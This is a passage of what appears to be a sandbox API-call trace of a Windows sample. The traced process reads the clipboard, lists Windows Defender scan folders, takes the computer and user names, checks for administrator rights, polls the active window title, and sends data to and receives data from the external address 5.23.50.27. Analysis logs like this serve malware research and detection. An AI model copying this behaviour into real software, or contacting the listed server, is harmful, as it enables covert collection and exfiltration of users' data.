lpFindFileData=0x1dc9d830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf913d3e5, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0226.232] FindClose (in: hFindFile=0x1d1f5290 | out: hFindFile=0x1d1f5290) returned 1 [0226.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9da90) returned 1 [0226.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9da50) returned 1 [0226.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9db60) returned 1 [0226.232] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\Entries", nBufferLength=0x105, lpBuffer=0x1dc9d640, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\Entries", lpFilePart=0x0) returned 0x46 [0226.232] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\Entries\\*" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\cleanstore\\entries\\*"), lpFindFileData=0x1dc9d870 | out: lpFindFileData=0x1dc9d870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf913d3e5, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4330 [0226.233] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf913d3e5, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.233] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf913d3e5, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0226.233] FindClose (in: hFindFile=0x1d1f4330 | out: hFindFile=0x1d1f4330) returned 1 [0226.233] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9da90) returned 1 [0226.233] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9da50) returned 1 [0226.233] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9db60) returned 1 [0226.233] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\ResourceData", nBufferLength=0x105, lpBuffer=0x1dc9d640, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\ResourceData", lpFilePart=0x0) returned 0x4b [0226.233] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\ResourceData\\*" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\cleanstore\\resourcedata\\*"), lpFindFileData=0x1dc9d870 | out: lpFindFileData=0x1dc9d870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf913d3e5, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4b10 [0226.234] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf913d3e5, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.234] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf913d3e5, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0226.234] FindClose (in: hFindFile=0x1d1f4b10 | out: hFindFile=0x1d1f4b10) returned 1 [0226.234] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9da90) returned 1 [0226.234] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9da50) returned 1 [0226.234] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9db60) returned 1 [0226.234] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\ResourceData", nBufferLength=0x105, lpBuffer=0x1dc9d640, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\ResourceData", lpFilePart=0x0) returned 0x4b [0226.234] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\ResourceData\\*" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\cleanstore\\resourcedata\\*"), lpFindFileData=0x1dc9d870 | out: lpFindFileData=0x1dc9d870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf913d3e5, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4b10 [0226.235] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf913d3e5, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.340] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf913d3e5, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0226.340] FindClose (in: hFindFile=0x1d1f4b10 | out: hFindFile=0x1d1f4b10) returned 1 [0226.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9da90) returned 1 [0226.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9da50) returned 1 [0250.701] CoUninitialize () Thread: id = 266 os_tid = 0xa14 [0203.277] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0203.278] RoInitialize () returned 0x1 [0203.278] RoUninitialize () returned 0x0 [0203.866] GetCurrentProcess () returned 0xffffffffffffffff [0203.866] GetCurrentThread () returned 0xfffffffffffffffe [0203.866] GetCurrentProcess () returned 0xffffffffffffffff [0203.866] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1dd9f200, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1dd9f200*=0xa98) returned 1 [0203.866] GetCurrentThreadId () returned 0xa14 [0203.866] OleInitialize (pvReserved=0x0) returned 0x0 [0203.868] OleGetClipboard (in: ppDataObj=0x1dd9f208 | out: ppDataObj=0x1dd9f208*=0x1b25d780) returned 0x0 [0203.876] IUnknown:QueryInterface (in: This=0x1b25d780, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1dd9ea50 | out: ppvObject=0x1dd9ea50*=0x1b25d780) returned 0x0 [0203.876] IUnknown:QueryInterface (in: This=0x1b25d780, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1dd9eae0 | out: ppvObject=0x1dd9eae0*=0x0) returned 0x80004002 [0203.876] IUnknown:QueryInterface (in: This=0x1b25d780, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1dd9e700 | out: ppvObject=0x1dd9e700*=0x0) returned 0x80004002 [0203.876] IUnknown:QueryInterface (in: This=0x1b25d780, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1dd9e2d8 | out: ppvObject=0x1dd9e2d8*=0x0) returned 0x80004002 [0203.876] IUnknown:AddRef (This=0x1b25d780) returned 0x3 [0203.876] IUnknown:QueryInterface (in: This=0x1b25d780, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1dd9e198 | out: ppvObject=0x1dd9e198*=0x0) returned 0x80004002 [0203.877] IUnknown:QueryInterface (in: This=0x1b25d780, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1dd9e120 | out: ppvObject=0x1dd9e120*=0x0) returned 0x80004002 [0203.877] IUnknown:QueryInterface (in: This=0x1b25d780, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1dd9e110 | out: ppvObject=0x1dd9e110*=0x0) returned 0x80004002 [0203.877] CoGetContextToken (in: pToken=0x1dd9e1c0 | out: pToken=0x1dd9e1c0) returned 0x0 [0203.877] IUnknown:QueryInterface (in: This=0x77df90, riid=0x7ffb02934998*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1dd9e138 | out: ppvObject=0x1dd9e138*=0x77dfa8) returned 0x0 [0203.877] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dfa8, pAptType=0x1dd9e1c0 | out: pAptType=0x1dd9e1c0*=0) returned 0x0 [0203.877] IUnknown:Release (This=0x77dfa8) returned 0x0 [0203.877] CoGetObjectContext (in: riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b204048 | out: ppv=0x1b204048*=0x77df90) returned 0x0 [0203.882] CoGetContextToken (in: pToken=0x1dd9e640 | out: pToken=0x1dd9e640) returned 0x0 [0203.882] IUnknown:QueryInterface (in: This=0x1b25d780, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1dd9e700 | out: ppvObject=0x1dd9e700*=0x0) returned 0x80004002 [0203.882] IUnknown:Release (This=0x1b25d780) returned 0x2 [0203.882] CoGetContextToken (in: pToken=0x1dd9ed00 | out: pToken=0x1dd9ed00) returned 0x0 [0203.882] CoGetContextToken (in: pToken=0x1dd9ec00 | out: pToken=0x1dd9ec00) returned 0x0 [0203.882] IUnknown:QueryInterface (in: This=0x1b25d780, riid=0x1dd9ed60*(Data1=0x10e, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1dd9ed30 | out: ppvObject=0x1dd9ed30*=0x1b25d780) returned 0x0 [0203.882] IUnknown:AddRef (This=0x1b25d780) returned 0x4 [0203.882] IUnknown:Release (This=0x1b25d780) returned 0x3 [0203.883] IUnknown:Release (This=0x1b25d780) returned 0x2 [0203.884] CoGetContextToken (in: pToken=0x1dd9ee00 | out: pToken=0x1dd9ee00) returned 0x0 [0203.886] CoGetContextToken (in: pToken=0x1dd9ed00 | out: pToken=0x1dd9ed00) returned 0x0 [0203.886] IUnknown:QueryInterface (in: This=0x1b25d780, riid=0x1dd9ee60*(Data1=0x3cee8cc1, Data2=0x1adb, Data3=0x327f, Data4=([0]=0x9b, [1]=0x97, [2]=0x7a, [3]=0x9c, [4]=0x80, [5]=0x89, [6]=0xbf, [7]=0xb3)), ppvObject=0x1dd9ee30 | out: ppvObject=0x1dd9ee30*=0x0) returned 0x80004002 [0204.160] IDataObject:QueryGetData (This=0x1b25d780, pFormatetc=0x1dd9f258) returned 0x8004006a [0204.437] RegisterClipboardFormatW (lpszFormat="FileNameW") returned 0xc007 [0204.438] IDataObject:QueryGetData (This=0x1b25d780, pFormatetc=0x1dd9f258) returned 0x8004006a [0204.438] RegisterClipboardFormatW (lpszFormat="FileName") returned 0xc006 [0204.439] IDataObject:QueryGetData (This=0x1b25d780, pFormatetc=0x1dd9f258) returned 0x8004006a [0204.450] OleGetClipboard (in: ppDataObj=0x1dd9f1f8 | out: ppDataObj=0x1dd9f1f8*=0x1b25d780) returned 0x0 [0204.450] IUnknown:QueryInterface (in: This=0x1b25d780, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1dd9ea40 | out: ppvObject=0x1dd9ea40*=0x1b25d780) returned 0x0 [0204.450] IUnknown:Release (This=0x1b25d780) returned 0x3 [0204.450] CoGetContextToken (in: pToken=0x1dd9ecf0 | out: pToken=0x1dd9ecf0) returned 0x0 [0204.450] IUnknown:AddRef (This=0x1b25d780) returned 0x4 [0204.450] IUnknown:Release (This=0x1b25d780) returned 0x3 [0204.451] IUnknown:Release (This=0x1b25d780) returned 0x2 [0204.451] CoGetContextToken (in: pToken=0x1dd9edf0 | out: pToken=0x1dd9edf0) returned 0x0 [0204.451] CoGetContextToken (in: pToken=0x1dd9ecf0 | out: pToken=0x1dd9ecf0) returned 0x0 [0204.451] IUnknown:QueryInterface (in: This=0x1b25d780, riid=0x1dd9ee50*(Data1=0x3cee8cc1, Data2=0x1adb, Data3=0x327f, Data4=([0]=0x9b, [1]=0x97, [2]=0x7a, [3]=0x9c, [4]=0x80, [5]=0x89, [6]=0xbf, [7]=0xb3)), ppvObject=0x1dd9ee20 | out: ppvObject=0x1dd9ee20*=0x0) returned 0x80004002 [0204.451] IDataObject:QueryGetData (This=0x1b25d780, pFormatetc=0x1dd9f258) returned 0x0 [0204.462] OleGetClipboard (in: ppDataObj=0x1dd9f1f8 | out: ppDataObj=0x1dd9f1f8*=0x1b25d780) returned 0x0 [0204.462] IUnknown:QueryInterface (in: This=0x1b25d780, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1dd9ea40 | out: ppvObject=0x1dd9ea40*=0x1b25d780) returned 0x0 [0204.462] IUnknown:Release (This=0x1b25d780) returned 0x3 [0204.462] CoGetContextToken (in: pToken=0x1dd9ecf0 | out: pToken=0x1dd9ecf0) returned 0x0 [0204.462] IUnknown:AddRef (This=0x1b25d780) returned 0x4 [0204.462] IUnknown:Release (This=0x1b25d780) returned 0x3 [0204.462] IUnknown:Release (This=0x1b25d780) returned 0x2 [0204.462] CoGetContextToken (in: pToken=0x1dd9edf0 | out: pToken=0x1dd9edf0) returned 0x0 [0204.463] CoGetContextToken (in: pToken=0x1dd9ecf0 | out: pToken=0x1dd9ecf0) returned 0x0 [0204.463] IUnknown:QueryInterface (in: This=0x1b25d780, riid=0x1dd9ee50*(Data1=0x3cee8cc1, Data2=0x1adb, Data3=0x327f, Data4=([0]=0x9b, [1]=0x97, [2]=0x7a, [3]=0x9c, [4]=0x80, [5]=0x89, [6]=0xbf, [7]=0xb3)), ppvObject=0x1dd9ee20 | out: ppvObject=0x1dd9ee20*=0x0) returned 0x80004002 [0204.463] IDataObject:QueryGetData (This=0x1b25d780, pFormatetc=0x1dd9f1e8) returned 0x0 [0204.465] IDataObject:RemoteGetData (in: This=0x1b25d780, pformatetcIn=0x1dd9f1e8, pRemoteMedium=0x1dd9f100 | out: pRemoteMedium=0x1dd9f100) returned 0x0 [0204.469] GlobalLock (hMem=0x1b470018) returned 0x1d15a0b0 [0204.469] GlobalUnlock (hMem=0x1b470018) returned 0 [0204.470] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x79f240*=0xac0, lpdwindex=0x1dd9ede4 | out: lpdwindex=0x1dd9ede4) returned 0x0 [0205.134] CoGetContextToken (in: pToken=0x1dd9d630 | out: pToken=0x1dd9d630) returned 0x0 [0205.134] CoGetContextToken (in: pToken=0x1dd9d600 | out: pToken=0x1dd9d600) returned 0x0 [0205.134] CoGetContextToken (in: pToken=0x1dd9d500 | out: pToken=0x1dd9d500) returned 0x0 [0205.134] IUnknown:Release (This=0x1b25d780) returned 0x1 [0205.134] IUnknown:Release (This=0x1b25d780) returned 0x0 [0209.335] CoGetContextToken (in: pToken=0x1dd9fab0 | out: pToken=0x1dd9fab0) returned 0x0 [0209.335] CoUninitialize () Thread: id = 269 os_tid = 0xbfc Thread: id = 270 os_tid = 0x610 Thread: id = 272 os_tid = 0x57c Thread: id = 273 os_tid = 0xd58 Thread: id = 274 os_tid = 0x1c4 [0222.373] CoGetContextToken (in: pToken=0x1baefd80 | out: pToken=0x1baefd80) returned 0x0 [0222.373] IUnknown:QueryInterface (in: This=0x77dd40, riid=0x7ffb02934998*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1baefdb8 | out: ppvObject=0x1baefdb8*=0x77dd58) returned 0x0 [0222.373] IComThreadingInfo:GetCurrentThreadType (in: This=0x77dd58, pThreadType=0x1baefe28 | out: pThreadType=0x1baefe28*=0) returned 0x0 [0222.373] IUnknown:Release (This=0x77dd58) returned 0x1 [0222.373] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0222.373] RoInitialize () returned 0x1 [0222.373] RoUninitialize () returned 0x0 Thread: id = 275 os_tid = 0xd30 [0222.548] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0222.548] RoInitialize () returned 0x1 [0222.548] RoUninitialize () returned 0x0 [0249.860] GetComputerNameW (in: lpBuffer=0x1e2fe630, nSize=0x1e2fe958 | out: lpBuffer="XC64ZB", nSize=0x1e2fe958) returned 1 [0249.867] GetUserNameW (in: lpBuffer=0x1e2fe650, pcbBuffer=0x1e2fe978 | out: lpBuffer="RDhJ0CNFevzX", pcbBuffer=0x1e2fe978) returned 1 [0250.027] GetCurrentProcess () returned 0xffffffffffffffff [0250.027] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1e2fe7d8 | out: TokenHandle=0x1e2fe7d8*=0x3c0) returned 1 [0250.034] GetTokenInformation (in: TokenHandle=0x3c0, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1e2fe838 | out: TokenInformation=0x0, ReturnLength=0x1e2fe838) returned 0 [0250.034] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x1d1c0cd0 [0250.034] GetTokenInformation (in: TokenHandle=0x3c0, TokenInformationClass=0x8, TokenInformation=0x1d1c0cd0, TokenInformationLength=0x4, ReturnLength=0x1e2fe838 | out: TokenInformation=0x1d1c0cd0, ReturnLength=0x1e2fe838) returned 1 [0250.035] LocalFree (hMem=0x1d1c0cd0) returned 0x0 [0250.035] DuplicateTokenEx (in: hExistingToken=0x3c0, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x1e2fe898 | out: phNewToken=0x1e2fe898*=0x30c) returned 1 [0250.035] CheckTokenMembership (in: TokenHandle=0x30c, SidToCheck=0x27282f0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x1e2fe8a0 | out: IsMember=0x1e2fe8a0) returned 1 [0250.035] CloseHandle (hObject=0x30c) returned 1 [0250.270] QueryPerformanceCounter (in: lpPerformanceCount=0x1e2fe9e8 | out: lpPerformanceCount=0x1e2fe9e8*=2837816108291) returned 1 [0250.930] GetForegroundWindow () returned 0x1038e [0251.303] CoTaskMemAlloc (cb=0x804) returned 0x1b208480 [0251.303] GetWindowTextW (in: hWnd=0x1038e, lpString=0x1b208480, nMaxCount=1024 | out: lpString="Production") returned 10 [0251.304] CoTaskMemFree (pv=0x1b208480) [0253.334] QueryPerformanceCounter (in: lpPerformanceCount=0x1e2fe258 | out: lpPerformanceCount=0x1e2fe258*=2838122583056) returned 1 [0253.339] select (in: nfds=0, readfds=0x266f2b0, writefds=0x0, exceptfds=0x0, timeout=0x1e2fe0a8*(tv_sec=0, tv_usec=0) | out: readfds=0x266f2b0, writefds=0x0, exceptfds=0x0) returned 1 [0253.345] shutdown (s=0x798, how=2) returned 0 [0253.349] setsockopt (s=0x798, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0253.349] closesocket (s=0x798) returned 0 [0253.350] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x798 [0253.352] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xa7c [0253.352] WSAConnect (in: s=0x798, name=0x2671118*(sa_family=2, sin_port=0x50, sin_addr="5.23.50.27"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0253.405] closesocket (s=0xa7c) returned 0 [0253.407] send (s=0x798, buf=0x26750c0*, len=2353, flags=0) returned 2353 [0253.407] setsockopt (s=0x798, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0253.408] recv (in: s=0x798, buf=0x22f82f0, len=4096, flags=0 | out: buf=0x22f82f0*) returned 267 [0262.782] setsockopt (s=0x798, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0262.787] SetEvent (hEvent=0x818) returned 1 [0263.055] QueryPerformanceCounter (in: lpPerformanceCount=0x1e2fe978 | out: lpPerformanceCount=0x1e2fe978*=2839094650674) returned 1 [0264.091] GetForegroundWindow () returned 0x1038e [0264.092] CoTaskMemAlloc (cb=0x804) returned 0x1b20d520 [0264.092] GetWindowTextW (in: hWnd=0x1038e, lpString=0x1b20d520, nMaxCount=1024 | out: lpString="Production") returned 10 [0264.092] CoTaskMemFree (pv=0x1b20d520) [0264.097] QueryPerformanceCounter (in: lpPerformanceCount=0x1e2fe258 | out: lpPerformanceCount=0x1e2fe258*=2839198865824) returned 1 [0264.099] select (in: nfds=0, readfds=0x27e1b78, writefds=0x0, exceptfds=0x0, timeout=0x1e2fe0a8*(tv_sec=0, tv_usec=0) | out: readfds=0x27e1b78, writefds=0x0, exceptfds=0x0) returned 0 [0264.099] send (s=0x7cc, buf=0x27e34d0*, len=2711, flags=0) returned 2711 [0264.103] recv (in: s=0x7cc, buf=0x22d32b0, len=4096, flags=0 | out: buf=0x22d32b0*) returned 262 [0274.203] setsockopt (s=0x7cc, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0274.204] SetEvent (hEvent=0x2e4) returned 1 [0274.205] shutdown (s=0x7cc, how=2) returned 0 [0274.206] closesocket (s=0x7cc) returned 0 [0274.214] QueryPerformanceCounter (in: lpPerformanceCount=0x1e2fe978 | out: lpPerformanceCount=0x1e2fe978*=2840210592800) returned 1 [0275.235] GetForegroundWindow () returned 0x1038e [0275.236] CoTaskMemAlloc (cb=0x804) returned 0x1b208c90 [0275.236] GetWindowTextW (in: hWnd=0x1038e, lpString=0x1b208c90, nMaxCount=1024 | out: lpString="Production") returned 10 [0275.236] CoTaskMemFree (pv=0x1b208c90) [0275.241] QueryPerformanceCounter (in: lpPerformanceCount=0x1e2fe258 | out: lpPerformanceCount=0x1e2fe258*=2840313200689) returned 1 [0275.241] SetEvent (hEvent=0x2e4) returned 1 [0275.242] GetCurrentProcess () returned 0xffffffffffffffff [0275.242] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1e2fdec8 | out: TokenHandle=0x1e2fdec8*=0x7cc) returned 1 [0275.243] RegNotifyChangeKeyValue (hKey=0x718, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x71c, fAsynchronous=1) returned 0x0 [0275.243] GetCurrentProcess () returned 0xffffffffffffffff [0275.243] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1e2fdec8 | out: TokenHandle=0x1e2fdec8*=0x4f4) returned 1 [0275.244] RegNotifyChangeKeyValue (hKey=0x720, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x724, fAsynchronous=1) returned 0x0 [0275.244] GetCurrentProcess () returned 0xffffffffffffffff [0275.244] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1e2fdec8 | out: TokenHandle=0x1e2fdec8*=0x504) returned 1 [0275.244] RegNotifyChangeKeyValue (hKey=0x728, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x72c, fAsynchronous=1) returned 0x0 [0275.245] GetCurrentProcess () returned 0xffffffffffffffff [0275.245] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1e2fde68 | out: TokenHandle=0x1e2fde68*=0x4f8) returned 1 [0275.245] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x1e2fde20 | out: pProxyConfig=0x1e2fde20) returned 1 [0275.265] select (in: nfds=0, readfds=0x26861b8, writefds=0x0, 